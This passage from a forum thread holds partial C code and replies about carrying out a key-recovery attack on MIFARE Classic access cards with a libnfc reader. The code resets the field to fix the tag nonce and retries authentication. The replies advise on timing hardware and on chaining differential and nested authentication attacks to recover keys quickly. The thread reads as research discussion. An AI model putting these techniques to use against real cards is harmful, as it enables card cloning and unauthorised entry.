of a REQA (0x26 frame which is ignored by an deactivated tag
(check the anticol example for more info about this process http://www.libnfc.org/libnfc/examples/anticol).
    */
    while(1)
    {
        
      // Drop the field for a while, so the card can reset
      nfc_configure(pdi,DCO_ACTIVATE_FIELD,false);

      // {WPMCC09} 2.4. Tag nonces: "drop the field (for approximately 30us) to discharge all capacitors"
      Sleep(10);

      // Let the reader only try once to find a tag
      nfc_configure(pdi,DCO_INFINITE_SELECT,false);

      // Configure the CRC and Parity settings
      nfc_configure(pdi,DCO_HANDLE_CRC,true);
      nfc_configure(pdi,DCO_HANDLE_PARITY,true);

        //QueryPerformanceCounter(&nBeginTime);
      // Enable field so more power consuming cards can power themselves up
      nfc_configure(pdi,DCO_ACTIVATE_FIELD,true);

        //QueryPerformanceCounter(&nEndTime);
        //ll_exec_time = (nEndTime.QuadPart - nBeginTime.QuadPart);
        //QueryPerformanceCounter(&nBeginTime);

      // switch the field back on, and wait for a constant amount of time before authenticating
      Sleep(50);

      // Poll for a ISO14443A (MIFARE) tag
      if (!nfc_initiator_select_tag(pdi,IM_ISO14443A_106,NULL,0,&ti))
      {
        printf("Error connecting to MIFARE Classic tag\n");
        nfc_disconnect(pdi);
        return 1;
      }
      
      // Print the uid to the screen 
      printf("   uid: %08x\n",(uid = swap_endian32(ti.tia.abtUid)));
      printf("   key: %012llx\n",ui64Key);
      printf(" block: %02x\n",uiBlock);
      printf("entrys: %d\n", numSpoofEntries);
      printf("maxbck: %d\n", maxBacktrackLevel);
      printf("\n");
      
      // Run the MIFARE Classic test
      if (mifare_test(pdi,ti.tia.abtUid,ui64Key,uiBlock))
      {
        printf("\nAuthentication Succesful\n\n");
      } else {
        printf("\nAuthentication Failed\n");
      }

      // Reset the "advanced" configuration to normal
      nfc_configure(pdi,DCO_HANDLE_CRC,true);
      nfc_configure(pdi,DCO_HANDLE_PARITY,true);
    }
  // Clean up and release device
  nfc_disconnect(pdi);

  scanf("%d", &pressKey);

  return 0;
}

If anyone has any better ideas or suggestions, please let the community know.

Thanks and hope the code above is usefull

3

Re: Protocol 4.5, {Nr} and F0, F1, F2, F3

Hi zveriu,

I had a quick look at your code. Thanks for sharing it, but you should really use a recursive function to find the F_i property,
that would make it shorter and more readable...

Re: Protocol 4.5, {Nr} and F0, F1, F2, F3

Hi Ud,

Thanks for taking a look and sharing your comments.

Regarding recursive function, I think it is not necessarily required since the "backtracking" from the paper of picking bytes is already implemented in a looping approach.

Though I agree that a recursive style code would ease reading the code, my current stone I stumble upon is that it finds no Nr with such properties, no matter how I choose the CONSTANT DELAY timings in Sleep() (i.e. no matter the "fixed" Nts are).

I previously posted that in fact I modify the Nr (which gets encrypted with crapto1/crypto1 functions and produce {Nr}) and I am not modifying {Nr} as suggested in the paper - my doubts are: if modifying {Nr} instead of Nr is of essential necessity for the proper workings of the protocol 4.5

Thanks

Re: Protocol 4.5, {Nr} and F0, F1, F2, F3

Hi zveriu,

Very interesting you are looking this deep in the linear cipher differential analysis of crypto1.
I must admit, it comes really close to a lot of debugging wink While it is a very intriguing attack to write out, it is not that fast as you probably would prefer. The nonce need to be fixed, which is pretty hard to do with (USB-based) libfnc readers (~1x per second). When you then have a steady nonce, you need to iterate over all parities. The attack we described needs a lot of authentications (with the same nonce). Therefore is it easier to try this with a proxmark (way better timing results). Of course a offline simulation is possible. I could share you the details of my implementation if you want to find specific problems in your implementation.

Besides this, the article that was published Nicolas T. Courtois, provides a very interesting way to recover the key from a MIFARE Classic card with only (~400 authentications). I just responded on a question about this attack in the proxmark community. There I give some examples which can be extracted from a tag. When you have these values you could do the differential analysis Courtois proposes. This attack does not require any precomputation. If you combine this attack with the nested authentication attack we describe in our paper "Wirelessly Pickpocketing a Mifare Classic Card", it could be less than 15 minutes using your libnfc USB-based reader. The nested authentication was recently publicly released by a Slovak company called Nethemba.

Let me know if you have any questions, and keep up the good work!

Cheers,

  Roel